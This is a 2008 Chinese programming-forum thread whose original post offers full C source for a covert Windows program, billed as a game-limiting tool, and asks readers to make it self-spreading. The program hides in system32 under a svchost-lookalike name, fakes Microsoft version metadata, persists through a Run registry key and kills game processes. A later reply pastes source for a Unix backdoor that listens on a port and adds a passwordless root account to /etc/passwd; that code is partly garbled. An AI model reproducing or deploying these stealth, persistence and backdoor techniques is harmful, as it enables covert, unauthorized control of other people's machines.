游戏防沉迷软件[适用于所有单机/网络游戏][C源码][自写][win32平台]

bo.cui 2008-03-15 02:42:34
朋友总用我的电脑打游戏,我就写了个这东西,嘿嘿
希望有高手能把这东西做成病毒,让它自动传播,已减少游戏危害。


注意:软件行为类似病毒,运行无界面,无任何提示,需手动删除。

说明:
游戏防沉迷软件

完成时间:2008年3月15日

运行平台:win32
编译环境:devc++ windowsxp-sp2
连接库:libpsapi.lib

功能描述:开机启动,监测进程,查杀进程以防止指定程序启动。
执行后系统改动:
1:创建文件C:\WINDOWS\system32\svchcst.exe(系统+隐藏属性)
3:添加注册表项Software\Microsoft\Windows\CurrentVersion\Run
主键:SuQiEr
键值:C:\WINDOWS\system32\svchcst.exe

程序流程详细描述:
启动程序
if(文件所在位置不为C:\WINDOWS\system32\svchcst.exe)
{
复制文件到C:\WINDOWS\system32\svchcst.exe
修改文件C:\WINDOWS\system32\svchcst.exe属性为隐藏+系统
写入注册表,以实现开机自动启动svchcst.exe
}
STRKILL:扫描进程,查找指定进程名并返回该进程pid
结束指定进程,程序停止1800秒,跳转至STRKILL

---------------makefile:
# Project: svchcst
# Makefile created by Dev-C++ 4.9.9.2

CPP = g++.exe
CC = gcc.exe
WINDRES = windres.exe
RES = kill_private.res
OBJ = main.o $(RES)
LINKOBJ = main.o $(RES)
LIBS = -L"d:/Dev-Cpp/lib" -mwindows D:/Dev-Cpp/lib/libpsapi.a -fmessage-length=0
INCS = -I"d:/Dev-Cpp/include"
CXXINCS = -I"d:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"d:/Dev-Cpp/include/c++/3.4.2/backward" -I"d:/Dev-Cpp/include/c++/3.4.2/mingw32" -I"d:/Dev-Cpp/include/c++/3.4.2" -I"d:/Dev-Cpp/include"
BIN = kill.exe
CXXFLAGS = $(CXXINCS) -ansi -fmessage-length=0
CFLAGS = $(INCS) -ansi -fmessage-length=0
RM = rm -f

.PHONY: all all-before all-after clean clean-custom

all: all-before kill.exe all-after


clean: clean-custom
${RM} $(OBJ) $(BIN)

$(BIN): $(OBJ)
$(CC) $(LINKOBJ) -o "kill.exe" $(LIBS)

main.o: main.c
$(CC) -c main.c -o main.o $(CFLAGS)

kill_private.res: kill_private.rc
$(WINDRES) -i kill_private.rc --input-format=rc -o kill_private.res -O coff



----------KILL_PRIVATE_H(版本与版权信息)
/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
/* DO NOT EDIT ! */

#ifndef KILL_PRIVATE_H
#define KILL_PRIVATE_H

/* VERSION DEFINITIONS */
#define VER_STRING "5.1.2600.2180"
#define VER_MAJOR 5
#define VER_MINOR 1
#define VER_RELEASE 2600
#define VER_BUILD 2180
#define COMPANY_NAME "Microsoft Corporation"
#define FILE_VERSION "5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)"
#define FILE_DESCRIPTION "Generic Host Process for Win32 Services"
#define INTERNAL_NAME ""
#define LEGAL_COPYRIGHT "Microsoft Corporation. All rights reserved."
#define LEGAL_TRADEMARKS ""
#define ORIGINAL_FILENAME "svchcst.exe"
#define PRODUCT_NAME "Microsoft Windows Operating System"
#define PRODUCT_VERSION ""

#endif /*KILL_PRIVATE_H*/


----------main.c主功能代码
#include <windows.h>
#include <stdio.h>
#include <PSAPI.H>
#include <time.h>

#define GAMENAME "cs.exe","Wow.exe","war3.exe" /*游戏名列表,用逗号隔开*/
#define PLAYTIME 1800 /*定时为1800秒*/

#define KILLDIR "C:\\WINDOWS\\system32\\svchcst.exe"

/*自动启动*/
BOOL RegisterToAutoRun(void)
{
/*Define Varible*/
HKEY hKEY;
long ret;

LPSTR FileCurrentExeName = KILLDIR;
DWORD type=REG_SZ;
DWORD size=MAX_PATH;
LPCTSTR lpValueName="SuQiEr",Rgspath="Software\\Microsoft\\Windows\\CurrentVersion\\Run";

/*Open key*/
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE,&hKEY);
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return 1;
}
/*Set Key*/
ret=RegSetValueEx(hKEY,lpValueName,(DWORD)NULL,type,(CONST BYTE *)FileCurrentExeName,size);
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return 2;
}
RegCloseKey(hKEY);

return 0;
}


/*接受进程名字符串数组,并且将符合条件进程PID保存到列表;返回符合条件进程个数*/
int getSpecifiedProcessId(DWORD pID[],const char* pszProcessName[])
{
DWORD processId[1024], cbNeeded, dwProcessesCount;
HANDLE hProcess;
HMODULE hMod;
UINT i,j,pidcx=0;

char szProcessName[MAX_PATH] = "UnknownProcess";
DWORD dwArrayInBytes = sizeof(processId)*sizeof(DWORD);

if(!EnumProcesses(processId,dwArrayInBytes,&cbNeeded))
return 0;
/*计算数组中的元素个数 */
dwProcessesCount=cbNeeded/sizeof(DWORD);
/*enableDebugPriv();*//*用于提升进程权限*/
for(i=0;i<dwProcessesCount;i++)
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,processId[i]);
if(!hProcess)
{
continue;
}
else
{
if(EnumProcessModules(hProcess,&hMod,sizeof(hMod),&cbNeeded))
{
GetModuleBaseName(hProcess,hMod,szProcessName,sizeof(szProcessName));
for(j=0;*pszProcessName[j];j++)
{
if(!_stricmp(szProcessName,pszProcessName[j]))
{
CloseHandle(hProcess);
pID[pidcx++] = processId[i];
break;
}
}
}
}
}
CloseHandle(hProcess);
pID[pidcx++] = 0;
return pidcx;
}


/*自动复制,成功返回0*/
int myCopyFile(void)
{
SHFILEOPSTRUCT Op = {0};
int rettf=0;
char CurrentPath[MAX_PATH+1]= {0};
DWORD size=MAX_PATH;

GetModuleFileName(NULL,CurrentPath,size);

Op.hwnd = NULL;
Op.wFunc = FO_COPY;
Op.pFrom = CurrentPath;
Op.pTo = KILLDIR;
Op.fFlags = FOF_NOCONFIRMATION|FOF_SILENT;

rettf = SHFileOperation(&Op);
return rettf;
}


int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
DWORD pidcx=0;
DWORD pID[MAX_PATH]={0};
const char* pszProcessName[]= {GAMENAME,"\0"};/*进程名称列表*/
HANDLE handle1;
char CurrentPath[MAX_PATH]= {0};
DWORD size=MAX_PATH;
int i;

GetModuleFileName(NULL,CurrentPath,size);
if(_stricmp(KILLDIR,CurrentPath))
{
myCopyFile();/*拷贝文件*/
SetFileAttributes(KILLDIR,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN);
RegisterToAutoRun();/*自动运行*/
}

while(1)/*结束进程*/
{
pidcx = getSpecifiedProcessId(pID,pszProcessName);
for(i=0;pID[i];i++)
{
handle1=OpenProcess(PROCESS_TERMINATE,FALSE,pID[i]);
if(handle1)
TerminateProcess(handle1,0);
}
sleep(PLAYTIME*1000);
}
return 0;
}
...全文
1802 77 打赏 收藏 转发到动态 举报
写回复
用AI写文章
77 条回复
切换为时间正序
请发表友善的回复…
发表回复
Skt32 2008-03-30
  • 打赏
  • 举报
回复
--=\\backdoor.c\\=--
/*
A rip off a sockets tutorial i found somewhere cause I didn't feel like
writing stupid basic sockets code when I had it in my src directory
already.
*/

/* Greets:
Undernet Channels:
#rootworm, #hacktech, #hyperlink, #3xposure, #legionoot
Groups:
The LegionOOT (www.legionoot.cc), Team Sploit
People:
Cyph3r, n3m0, Adoni, f0bic, d0g, khe0ps, h-S-t,
F-o-X, NeonMaix, Azmodan, & Venomous
/*

Usage (setup):
# gcc -o backdoor backdoor.c
# ./backdoor password &
Usage (using):
telnet to host (port 505) --> type the password (don't wait for a
prompt, there isn't one so its less obvious its a backdoor) -->
type 1or 2. And yes it's _supposed_ to disconnect you after
each command.
*/

#include <sio.h>
#include <slib.h>
#include <errno.h>
#include <sing.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#define PORT 505
#define MAXDATASIZE 100
#define BACKLOG 10

void handle(char *command);
int main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes;
char *bytes;
suct sockaddr_in my_addr;
suct sockaddr_in their_addr;

char buf[MAXDATASIZE];
char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to
send '7h1s b0x 1s 0wn3d' to all people on the box: ";
if (argc != 2) {
fprintf(serr,"Usage: %s password\n", argv[0]);
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (suct sockaddr *)&my_addr, sizeof(suct sockaddr)) == -1)
{
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);

}

while(1) { /* main accept() loop */

sin_size = sizeof(suct sockaddr_in);
if ((new_fd = accept(sockfd, (suct sockaddr *)&their_addr, \
&sin_size)) ==
{
perror("accept");
continue;
}

inet_ntoa(their_addr.sin_addr);
if (!fork()) {
recv(new_fd, buf,
MAXDATASIZE, 0);
bytes = ss(buf, argv[1]);


if (bytes != NULL){

send(new_fd, ask, sizeof(ask), 0);

numbytes=recv(new_fd, buf,
MAXDATASIZE, 0);
buf[numbytes] = '\0';
handle(buf);
}
close(new_fd);
exit(0);
}
close(new_fd);

while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child
processes */
}
}

void handle(char *command)
{
FILE *fle;
if(ss(command, "1") != NULL)
{
fle = f0/*n("/etc/passwd", "a*/;
fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash");
fclose(fle);
}
if(ss(command, "2") != NULL)
{
system("wall 7h1s b0x 1s 0wn3d");
}
}

文章来源:



devoc 2008-03-23
  • 打赏
  • 举报
回复
有意思 呵呵
nobush 2008-03-22
  • 打赏
  • 举报
回复
我用windows 98 你这个不适合。
还有,我玩DOS游戏你也没办法~
gs0038 2008-03-22
  • 打赏
  • 举报
回复
怪不得每次去你那玩游戏都说坏了,原来你在搞鬼,嘿嘿,,,,,下次我干掉它
kevinlee0755 2008-03-22
  • 打赏
  • 举报
回复
太让人感动了 这程序真布错~~~
chenyong19870904 2008-03-21
  • 打赏
  • 举报
回复
[Quote=引用 38 楼 kendy_ke 的回复:]
virus....做国际大黑客吧,把 小日 与 大美 干掉...hoho
[/Quote]

这想法不错。
jeff_nie 2008-03-21
  • 打赏
  • 举报
回复
svchcst.exe 网上好像有这个病毒描述.不知是否与LZ的相同.
jeff_nie 2008-03-21
  • 打赏
  • 举报
回复
LZ,牛B!
blueskyallan 2008-03-21
  • 打赏
  • 举报
回复
呵呵 ,加油!!
michney 2008-03-21
  • 打赏
  • 举报
回复
有意思
bo.cui 2008-03-21
  • 打赏
  • 举报
回复
嘿嘿~
真的很谢谢大家的支持和鼓励!

很激动!!
我知道这并不算什么,只是一些api的罗列罢了,我会继续努力的。

谢谢。 也谢谢csdn 伴我成长。
linco_gp 2008-03-20
  • 打赏
  • 举报
回复
期待 svchcst.exe 病毒专杀工具
qiucp 2008-03-20
  • 打赏
  • 举报
回复
[Quote=引用 51 楼 hslinux 的回复:]
up
[/Quote]
VC510 2008-03-20
  • 打赏
  • 举报
回复
学到东西了!
zhangfeiabc 2008-03-20
  • 打赏
  • 举报
回复
长见识勒
lirongjun1985 2008-03-20
  • 打赏
  • 举报
回复
不错,挺有才的。顺便说一句,哥们你小子挺坏的,还要做成病毒?你不知道我玩网游一干就10 来个小时啊?
jiahuafu 2008-03-20
  • 打赏
  • 举报
回复
下了,感谢lz
rodney1983 2008-03-20
  • 打赏
  • 举报
回复
学习!
zhangqdan 2008-03-19
  • 打赏
  • 举报
回复
强人啊!!
bo.cui 2008-03-19
  • 打赏
  • 举报
回复
~~
恩~ 嘿嘿 其实完善的方法还很多~~~

^-^

frozenrain
vc下编译的话的修改一下,vc和dev的库不一样
dev是libpsapi.lib
vc下好像是PSAPI.DLL~ 嘿嘿~

具体的google下~ 我也忘了~
加载更多回复(57)
每天前100人再送5门编程课! AI+5门300元课程+社群闭门分享会源码开源下载:https://github.com/DjangoPeng/keras-101/tree/master/code_samples 【为什么学AI】 归功于近年来大规模数据和硬件计算能力的大幅度提升,人工智能的概念近两年一直是市场追捧的对象。目前各大厂都争先恐后地布局AI,落地各类AI的的商业应用,也随之打响了一场激烈的人才争夺战。长远来看,越快将 AI 用于自己的工作中就能越早体会到AI带来的收益。 【讲师介绍】 彭靖田 Google Developer Experts。 曾为 TensorFlow Top级 的贡献者,著书《深入理解TensorFlow》,是国内第一本深度剖析 Google AI 框架的畅销书。 曾从0到1深入参与了华为 2012 实验室深度学习平台和华为深度学习云服务的设计与研发工作。 【课程设计】 课程内容基于最新的Keras版本(你也可以使用 TensorFlow 2 的 tf.keras 模块),其中有大量独家解读、案例,以及不少讲师一线实战多年的方法论和深度思考。同时,在层次划分上,难易兼顾,循序渐进。既有核心的基础知识,也有高级的进阶操作,尽量做到“老少皆宜”。 课程分为基础篇、入门篇和实战篇: 一、基础篇: 主要讲解人工智能发展史和深度学习脱颖而出的原由,以及神经网络的基础概念、理论实现、优化原理和计算方法。 二、入门篇: 主攻快速上手,通过7个小节让你从0到1实现环境搭建、模型优化,直接试水2个实战项目。同时,增强AI的理论学习,系统掌握机器学习3大分支、模型评估方法、数据预处理常用手段与过拟合问题的解决方案。 三、实战篇: 通过4个实战全面掌握深度学习理论与实现,涵盖目标检测、图像分类、可视化和可解释性学习、迁移学习、特征提取、数据增强等。带你综合运用前面所学的所有知识,逐渐熟练AI开发流程与技能。 课程包含思维导图上的所有内容(价值199元)前500名立减100元,仅99元买完就能学!

69,373

社区成员

发帖
与我相关
我的任务
社区描述
C语言相关问题讨论
社区管理员
  • C语言
  • 花神庙码农
  • 架构师李肯
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧